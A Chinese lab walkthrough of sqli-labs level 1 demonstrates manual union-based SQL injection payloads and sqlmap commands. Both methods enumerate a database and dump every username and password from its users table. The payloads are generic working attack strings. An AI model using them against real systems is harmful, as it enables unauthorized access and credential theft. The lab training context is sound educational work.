sqli-labs第一關
方法一:手工注入
方法二:sqlmap工具
兩種方式,都可以學學,順便學會用sqlmap,也是不錯的。不多說,我們開始吧
方法一:
來到第一關,圖上說我們需要一個數字的參數
於是我們先手工注入?id=1 and 1=1 跟?id=1 and 1=2發現頁面沒有報錯
每張截圖上面頁面中有select查詢語句,這是我在第一關的源碼中加上了echo "$sql<br>"; 為了能夠跟清楚的了解sql注入的原理
於是我們來判斷一下是否為字符型注入,嘗試?id=1'發現頁面報錯,此題應該為字符型注入
於是我們拼接字符串?id=1' and '1'='1頁面回顯正常
然后我們使用order by來確定表中的列數,為什么我們要確定表中字段的列數呢?是因為我們的union聯合查詢
聯合查詢特點:
1、要求多條查詢語句的查詢列數是一致的!
2、要求多條查詢語句的查詢的每一列的類型和順序最好一致
3、union關鍵字默認去重,如果使用union all 可以包含重復項
於是我們構造?id=1' and '1'='1' order by 1--+ 頁面回顯正常
?id=1' and '1'='1' order by 2--+ 頁面回顯正常
?id=1' and '1'='1' order by 3--+ 頁面回顯正常
?id=1' and '1'='1' order by 4--+ 出現報錯界面
然后我們就確定了字段數,於是用聯合查詢?id=-1' union select 1,2,3--+ (將id弄成一個負數的值,使前面的語句失效)然后看看union查詢是否有回顯位
這樣我們就看到了2,3這兩個回顯位
然后我們利用union查詢,查看數據庫的版本和數據庫名,這里面我們再補充點知識點
version():查看數據庫版本
database():查看使用的數據庫
user():查看當前用戶
limit:limit子句分批來獲取所有數據
group_concat():一次性獲取所有的數據庫信息
當我們簡單了解了這個之后,我們再進行下面的步驟,相信大家有了深刻的理解
接下來利用這兩個回顯位來查詢數據庫,和數據庫版本信息
?id=-1' union select 1,database(),version()--+
然后我們知道了數據庫是security,版本信息:5.7.26
再爆表之前我們先了解一波知識點:
information_schema.tables:包含了數據庫里所有的表
table_name:表名
table_schema:數據庫名
column_name:字段名
然后我們利用union查詢來爆出表面寧
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
於是我們爆出了表名
然后,由我們正常的思維,我們的賬號和密碼肯定在一張表上,我們看到了users表,
於是我們查看一下這張表的字段名
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
我們看到了username和password字段,
然后我們就去查詢字段信息
?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
獲得了所有的賬號和密碼,這樣我們就順利的拿到了很重要的信息。
方法二:
--dbs:是查看所有的數據庫
--tables:是查看所有的表
--columns:是查看表中所有的字段名
--dump:是查詢哪個表的數據
因為我們已經知道了注入點的位置,於是我們直接用sqlmap跑
命令:sqlmap.py -u "有注入點的url" --dbs
我們看到了security數據庫,然后我們開始爆表
命令:sqlmap.py -u "有注入點的url" -D security --tables
接下來我們開始爆字段名
命令:sqlmap.py -u "有注入點的url" -D security -T users --columns
於是我們就可以爆信息了
命令:sqlmap.py -u "有注入點的url" -D security -T users -C "id,username,password" --dump
讓后我們就得到了用戶名和密碼了。
兩種方法,大家盡情參考就可以了。知識點,來自網絡搜集中,有不對的可以指出來,歡迎大家的評論和指正。